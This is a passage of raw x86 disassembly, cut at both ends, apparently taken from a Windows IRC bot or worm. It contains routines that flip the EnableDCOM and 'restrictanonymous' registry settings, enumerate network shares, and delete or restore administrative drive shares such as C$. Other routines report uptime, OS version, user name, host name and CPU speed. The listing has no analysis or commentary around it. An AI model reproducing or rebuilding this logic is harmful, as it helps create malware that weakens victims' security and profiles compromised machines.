loc_413EAE:				; CODE XREF: sub_413DAC+F8j
		push	[ebp+var_4]
		mov	edi, dword_4E032C
		call	edi	; CloseHandle
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DDEF0, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DDEF8, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DDEEC, eax
		call	edi	; CloseHandle
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DDF30, eax
		jz	short loc_413EE8
		push	[ebp+arg_4]
		jmp	short loc_413EED
; ---------------------------------------------------------------------------


loc_413EE8:				; CODE XREF: sub_413DAC+135j
		push	offset word_4DDF36


loc_413EED:				; CODE XREF: sub_413DAC+13Aj
		push	offset dword_4DDEFC
		call	sub_417CB0
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_444670
		call	sub_409663
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_4495A8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_413C57
		push	esi
		push	esi
		call	dword_4E0340	; CreateThread
		cmp	eax, esi
		mov	dword_4495B4[edi], eax
		jnz	short loc_413F5E
		call	dword_4E0350	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_444694
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_40F927
		add	esp, 10h


loc_413F5E:				; CODE XREF: sub_413DAC+189j
		xor	eax, eax


loc_413F60:				; CODE XREF: sub_413DAC+FDj
		pop	edi
		pop	esi
		leave
		retn
sub_413DAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413F64	proc near		; DATA XREF: sub_401C87+27D5o

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_413FAB
		call	sub_413FC4
		jmp	short loc_413FB0
; ---------------------------------------------------------------------------


loc_413FAB:				; CODE XREF: sub_413F64+3Ej
		call	sub_4142EA


loc_413FB0:				; CODE XREF: sub_413F64+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_409979
		pop	ecx
		push	0
		call	dword_4E03A0	; ExitThread
sub_413F64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413FC4	proc near		; CODE XREF: sub_413F64+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4D6734, edi
		jnz	loc_4140F6
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4D66D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41404F
		mov	ax, word_444708
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4D668C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_414037
		push	offset dword_444718
		jmp	short loc_41403C
; ---------------------------------------------------------------------------


loc_414037:				; CODE XREF: sub_413FC4+6Aj
		push	offset dword_44473C


loc_41403C:				; CODE XREF: sub_413FC4+71j
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D6644	; RegCloseKey
		jmp	short loc_414062
; ---------------------------------------------------------------------------


loc_41404F:				; CODE XREF: sub_413FC4+36j
		lea	eax, [ebp+var_214]
		push	offset dword_44475C
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_414062:				; CODE XREF: sub_413FC4+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414081
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_414081:				; CODE XREF: sub_413FC4+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40F927
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4D66D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_4140EF
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4D668C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_214]
		jz	short loc_4140D7
		push	offset dword_4447A0
		jmp	short loc_4140DC
; ---------------------------------------------------------------------------


loc_4140D7:				; CODE XREF: sub_413FC4+10Aj
		push	offset dword_4447DC


loc_4140DC:				; CODE XREF: sub_413FC4+111j
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D6644	; RegCloseKey
		jmp	short loc_414109
; ---------------------------------------------------------------------------


loc_4140EF:				; CODE XREF: sub_413FC4+E2j
		push	offset dword_444810
		jmp	short loc_4140FB
; ---------------------------------------------------------------------------


loc_4140F6:				; CODE XREF: sub_413FC4+13j
		push	offset dword_44484C


loc_4140FB:				; CODE XREF: sub_413FC4+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_414109:				; CODE XREF: sub_413FC4+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_414128
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_414128:				; CODE XREF: sub_413FC4+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40F927
		cmp	dword_4D675C, edi
		pop	ecx
		jnz	loc_4142A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41414B:				; CODE XREF: sub_413FC4+2C5j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4D65AC
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_4141EA
		cmp	eax, 0EAh
		jz	short loc_4141EA
		xor	esi, esi


loc_414179:				; CODE XREF: sub_413FC4+21Fj
		push	off_4446E8[esi]
		push	edi
		call	sub_412839
		pop	ecx
		pop	ecx
		push	off_4446E8[esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41419E
		push	offset dword_44487C
		jmp	short loc_4141A3
; ---------------------------------------------------------------------------


loc_41419E:				; CODE XREF: sub_413FC4+1D1j
		push	offset dword_4448A0


loc_4141A3:				; CODE XREF: sub_413FC4+1D8j
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4141D0
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_4141D0:				; CODE XREF: sub_413FC4+1F0j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40F927
		add	esi, 8
		pop	ecx
		cmp	esi, 20h
		jb	short loc_414179
		jmp	loc_414282
; ---------------------------------------------------------------------------


loc_4141EA:				; CODE XREF: sub_413FC4+1AAj
					; sub_413FC4+1B1j
		mov	esi, [ebp+var_8]
		xor	ebx, ebx
		inc	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_414279


loc_4141F9:				; CODE XREF: sub_413FC4+2B1j
		mov	edi, [esi]
		push	edi
		call	sub_41A860
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41426E
		push	edi
		call	sub_412726
		push	eax
		push	0
		call	sub_412839
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		lea	eax, [ebp+var_214]
		jnz	short loc_41422E
		push	offset dword_4448CC
		jmp	short loc_414233
; ---------------------------------------------------------------------------


loc_41422E:				; CODE XREF: sub_413FC4+261j
		push	offset dword_4448F0


loc_414233:				; CODE XREF: sub_413FC4+268j
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414261
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_414261:				; CODE XREF: sub_413FC4+281j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40F927
		pop	ecx


loc_41426E:				; CODE XREF: sub_413FC4+244j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_4141F9
		xor	edi, edi


loc_414279:				; CODE XREF: sub_413FC4+22Fj
		push	[ebp+var_8]
		call	dword_4D66F8


loc_414282:				; CODE XREF: sub_413FC4+221j
		cmp	[ebp+var_10], 0EAh
		jz	loc_41414B
		lea	eax, [ebp+var_214]
		push	offset dword_44491C
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_4142B8
; ---------------------------------------------------------------------------


loc_4142A5:				; CODE XREF: sub_413FC4+177j
		lea	eax, [ebp+var_214]
		push	offset dword_444944
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_4142B8:				; CODE XREF: sub_413FC4+2DFj
		cmp	[ebp+arg_C], edi
		jnz	short loc_4142D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_4142D6:				; CODE XREF: sub_413FC4+2F7j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_40F927
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_413FC4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4142EA	proc near		; CODE XREF: sub_413F64:loc_413FABp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4D6734, edi
		jnz	loc_414418
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4D66D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414375
		mov	ax, word_444974
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_414EC0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom_0 ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4D668C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_41435D
		push	offset dword_444984
		jmp	short loc_414362
; ---------------------------------------------------------------------------


loc_41435D:				; CODE XREF: sub_4142EA+6Aj
		push	offset dword_4449A8


loc_414362:				; CODE XREF: sub_4142EA+71j
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D6644	; RegCloseKey
		jmp	short loc_414388
; ---------------------------------------------------------------------------


loc_414375:				; CODE XREF: sub_4142EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_4449C4
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_414388:				; CODE XREF: sub_4142EA+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4143A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_4143A7:				; CODE XREF: sub_4142EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40F927
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4D66D8	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_414411
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanon_0 ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], edi
		call	dword_4D668C	; RegSetValueExA
		test	eax, eax
		lea	eax, [ebp+var_220]
		jz	short loc_4143F9
		push	offset dword_444A08
		jmp	short loc_4143FE
; ---------------------------------------------------------------------------


loc_4143F9:				; CODE XREF: sub_4142EA+106j
		push	offset dword_444A48


loc_4143FE:				; CODE XREF: sub_4142EA+10Dj
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4D6644	; RegCloseKey
		jmp	short loc_41442B
; ---------------------------------------------------------------------------


loc_414411:				; CODE XREF: sub_4142EA+E2j
		push	offset dword_444A80
		jmp	short loc_41441D
; ---------------------------------------------------------------------------


loc_414418:				; CODE XREF: sub_4142EA+13j
		push	offset dword_444ABC


loc_41441D:				; CODE XREF: sub_4142EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_41442B:				; CODE XREF: sub_4142EA+125j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41444A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_41444A:				; CODE XREF: sub_4142EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40F927
		cmp	dword_4D675C, edi
		pop	ecx
		jnz	loc_4145C1
		xor	esi, esi


loc_414465:				; CODE XREF: sub_4142EA+1ECj
		push	dword_4446EC[esi]
		push	off_4446E8[esi]
		push	edi
		call	sub_41278D
		add	esp, 0Ch
		push	off_4446E8[esi]
		test	eax, eax
		lea	eax, [ebp+var_220]
		jnz	short loc_414491
		push	offset dword_444AEC
		jmp	short loc_414496
; ---------------------------------------------------------------------------


loc_414491:				; CODE XREF: sub_4142EA+19Ej
		push	offset dword_444B0C


loc_414496:				; CODE XREF: sub_4142EA+1A5j
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_4144C3
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_4144C3:				; CODE XREF: sub_4142EA+1BDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40F927
		add	esi, 8
		pop	ecx
		cmp	esi, 10h
		jb	short loc_414465
		push	ebx
		call	dword_4E0438	; GetLogicalDrives
		mov	edi, eax
		mov	bl, 41h
		test	edi, edi
		jz	loc_4145A9


loc_4144EB:				; CODE XREF: sub_4142EA+2B9j
		mov	eax, edi
		and	eax, 1
		cmp	al, 1
		jnz	loc_41459F
		cmp	bl, 41h
		jz	loc_41459F
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_417E80
		push	esi
		push	offset aC_3	; "%c:\\"
		lea	eax, [ebp+var_20]
		push	0Ah
		push	eax
		call	sub_417E80
		add	esp, 20h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4D66C8	; GetDriveTypeA
		cmp	eax, 3
		jnz	short loc_41459F
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0


loc_414542:				; DATA XREF: .data:00447CA0o
		call	sub_41278D
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_220]
		jnz	short loc_41455F
		push	offset dword_444B40
		jmp	short loc_414564
; ---------------------------------------------------------------------------


loc_41455F:				; CODE XREF: sub_4142EA+26Cj
		push	offset dword_444B60


loc_414564:				; CODE XREF: sub_4142EA+273j
		push	200h
		push	eax
		call	sub_417E80
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_414592
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_414592:				; CODE XREF: sub_4142EA+28Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40F927
		pop	ecx


loc_41459F:				; CODE XREF: sub_4142EA+208j
					; sub_4142EA+211j ...
		inc	bl
		shr	edi, 1
		jnz	loc_4144EB


loc_4145A9:				; CODE XREF: sub_4142EA+1FBj
		lea	eax, [ebp+var_220]
		push	offset dword_444B88
		push	eax
		call	sub_417CB0
		pop	ecx
		xor	edi, edi
		pop	ecx
		pop	ebx
		jmp	short loc_4145D4
; ---------------------------------------------------------------------------


loc_4145C1:				; CODE XREF: sub_4142EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_444BAC
		push	eax
		call	sub_417CB0
		pop	ecx
		pop	ecx


loc_4145D4:				; CODE XREF: sub_4142EA+2D5j
		cmp	[ebp+arg_C], edi
		jnz	short loc_4145F2
		push	edi
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40764A
		add	esp, 14h


loc_4145F2:				; CODE XREF: sub_4142EA+2EDj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_40F927
		pop	ecx
		xor	eax, eax
		pop	edi
		inc	eax
		pop	esi
		leave
		retn
sub_4142EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_414606	proc near		; CODE XREF: sub_401C87+2063p
					; sub_401C87+24D8p ...

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	dword_4E036C	; GetTickCount
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		xor	edx, edx
		mov	ecx, 15180h
		mov	esi, 0E10h
		push	3Ch
		pop	edi
		sub	eax, [esp+8+arg_0]
		div	ecx
		mov	ecx, eax
		mov	eax, edx
		xor	edx, edx
		div	esi
		mov	esi, eax
		mov	eax, edx
		xor	edx, edx
		div	edi
		push	eax
		push	esi
		push	ecx
		push	offset aDdDhDm	; "%dd %dh %dm"
		mov	esi, offset dword_4DDF38
		push	32h
		push	esi
		call	sub_417E80
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		retn
sub_414606	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp-94h]
		push	esi
		push	eax
		xor	esi, esi
		mov	dword ptr [ebp-94h], 94h
		call	dword_4E039C	; GetVersionExA
		test	eax, eax
		jz	short loc_4146EB
		cmp	dword ptr [ebp-90h], 4
		jnz	short loc_4146C1
		cmp	[ebp-8Ch], esi
		jnz	short loc_4146A9
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_41469B
		inc	esi


loc_41469B:				; CODE XREF: .data:00414698j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_4146EB
		xor	esi, esi
		inc	esi
		jmp	short loc_4146EB
; ---------------------------------------------------------------------------


loc_4146A9:				; CODE XREF: .data:0041468Fj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_4146B6


loc_4146B2:				; CODE XREF: .data:004146D0j
		push	2
		jmp	short loc_4146EA
; ---------------------------------------------------------------------------


loc_4146B6:				; CODE XREF: .data:004146B0j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_4146EB
		jmp	short loc_4146DB
; ---------------------------------------------------------------------------


loc_4146C1:				; CODE XREF: .data:00414687j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_4146EB
		cmp	[ebp-8Ch], esi
		jz	short loc_4146B2
		cmp	dword ptr [ebp-8Ch], 1
		jnz	short loc_4146DF


loc_4146DB:				; CODE XREF: .data:004146BFj
		push	3
		jmp	short loc_4146EA
; ---------------------------------------------------------------------------


loc_4146DF:				; CODE XREF: .data:004146D9j
		cmp	dword ptr [ebp-8Ch], 2
		jnz	short loc_4146EB
		push	7


loc_4146EA:				; CODE XREF: .data:004146B4j
					; .data:004146DDj
		pop	esi


loc_4146EB:				; CODE XREF: .data:0041467Ej
					; .data:004146A2j ...
		mov	eax, esi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4146F0	proc near		; CODE XREF: sub_4147AC+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_4146F8:				; CODE XREF: sub_4146F0+35j
					; sub_4146F0+3Bj
		call	sub_414B29
		push	3E8h
		mov	edi, eax
		mov	ebx, edx
		call	dword_4E033C	; Sleep
		call	sub_414B29
		sub	eax, edi
		push	0
		sbb	edx, ebx
		push	esi
		push	edx
		push	eax
		call	sub_41A430
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_4146F8
		jb	short loc_41472D
		cmp	ebx, esi
		ja	short loc_4146F8


loc_41472D:				; CODE XREF: sub_4146F0+37j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41A4A0
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_4147A0
		jb	short loc_41474C
		cmp	esi, 50h
		jnb	short loc_414751


loc_41474C:				; CODE XREF: sub_4146F0+55j
		push	4Bh
		xor	edx, edx
		pop	eax


loc_414751:				; CODE XREF: sub_4146F0+5Aj
		test	ecx, ecx
		ja	short loc_4147A0
		jb	short loc_41475C
		cmp	esi, 47h
		jnb	short loc_414761


loc_41475C:				; CODE XREF: sub_4146F0+65j
		push	42h
		xor	edx, edx
		pop	eax


loc_414761:				; CODE XREF: sub_4146F0+6Aj
		test	ecx, ecx
		ja	short loc_4147A0
		jb	short loc_41476C
		cmp	esi, 37h
		jnb	short loc_414771


loc_41476C:				; CODE XREF: sub_4146F0+75j
		push	32h
		xor	edx, edx
		pop	eax


loc_414771:				; CODE XREF: sub_4146F0+7Aj
		test	ecx, ecx
		ja	short loc_4147A0
		jb	short loc_41477C
		cmp	esi, 26h
		jnb	short loc_414781


loc_41477C:				; CODE XREF: sub_4146F0+85j
		push	21h
		xor	edx, edx
		pop	eax


loc_414781:				; CODE XREF: sub_4146F0+8Aj
		test	ecx, ecx
		ja	short loc_4147A0
		jb	short loc_41478C
		cmp	esi, 1Eh
		jnb	short loc_414791


loc_41478C:				; CODE XREF: sub_4146F0+95j
		push	19h
		xor	edx, edx
		pop	eax


loc_414791:				; CODE XREF: sub_4146F0+9Aj
		test	ecx, ecx
		ja	short loc_4147A0
		jb	short loc_41479C
		cmp	esi, 0Ah
		jnb	short loc_4147A0


loc_41479C:				; CODE XREF: sub_4146F0+A5j
		xor	eax, eax
		xor	edx, edx


loc_4147A0:				; CODE XREF: sub_4146F0+53j
					; sub_4146F0+63j ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4146F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4147AC	proc near		; CODE XREF: sub_401C87+223Bp

var_968		= byte ptr -968h
var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 968h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset word_4DDF6A
		mov	[ebp+var_CC], 94h
		call	dword_4E039C	; GetVersionExA
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_414833
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41480F
		cmp	[ebp+var_BC], 1
		jnz	short loc_4147F9
		mov	[ebp+var_4], offset a95	; "95"


loc_4147F9:				; CODE XREF: sub_4147AC+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_4148AE
		mov	[ebp+var_4], offset aNt	; "NT"
		jmp	short loc_41487F
; ---------------------------------------------------------------------------


loc_41480F:				; CODE XREF: sub_4147AC+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_414821
		mov	[ebp+var_4], offset a98	; "98"
		jmp	short loc_414876
; ---------------------------------------------------------------------------


loc_414821:				; CODE XREF: sub_4147AC+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41486F
		mov	[ebp+var_4], offset aMe_0 ; "ME"
		jmp	short loc_414876
; ---------------------------------------------------------------------------


loc_414833:				; CODE XREF: sub_4147AC+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41486F
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41484D
		mov	[ebp+var_4], offset a2k	; "2K"
		jmp	short loc_414876
; ---------------------------------------------------------------------------


loc_41484D:				; CODE XREF: sub_4147AC+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41485F
		mov	[ebp+var_4], offset aXp_2 ; "XP"
		jmp	short loc_414876
; ---------------------------------------------------------------------------


loc_41485F:				; CODE XREF: sub_4147AC+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003_0 ; "2003"
		jz	short loc_414876


loc_41486F:				; CODE XREF: sub_4147AC+7Cj
					; sub_4147AC+8Ej
		mov	[ebp+var_4], offset a??? ; "???"


loc_414876:				; CODE XREF: sub_4147AC+73j
					; sub_4147AC+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_4148AE


loc_41487F:				; CODE XREF: sub_4147AC+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_4148AE
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_6	; "%s (%s)"
		push	eax
		call	sub_417CB0
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_4148AE:				; CODE XREF: sub_4147AC+54j
					; sub_4147AC+D1j ...
		mov	ax, word_444C18
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4D6548
		mov	[ebp+var_8], 100h
		cmp	eax, ebx
		jz	short loc_4148E7
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax	; GetUserNameA


loc_4148E7:				; CODE XREF: sub_4147AC+12Cj
		push	[ebp+arg_4]
		call	sub_408882
		pop	ecx
		push	eax
		call	dword_4D66A8	; inet_addr
		mov	[ebp+var_C], eax
		push	2
		lea	eax, [ebp+var_C]
		push	4
		push	eax
		call	dword_4D6620	; gethostbyaddr
		cmp	eax, ebx
		jz	short loc_414910
		push	dword ptr [eax]
		jmp	short loc_414915
; ---------------------------------------------------------------------------


loc_414910:				; CODE XREF: sub_4147AC+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_414915:				; CODE XREF: sub_4147AC+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_417CB0
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	dword_4E0338	; GetSystemDirectoryA
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset aDdMmmYyyy ; "dd:MMM:yyyy"
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
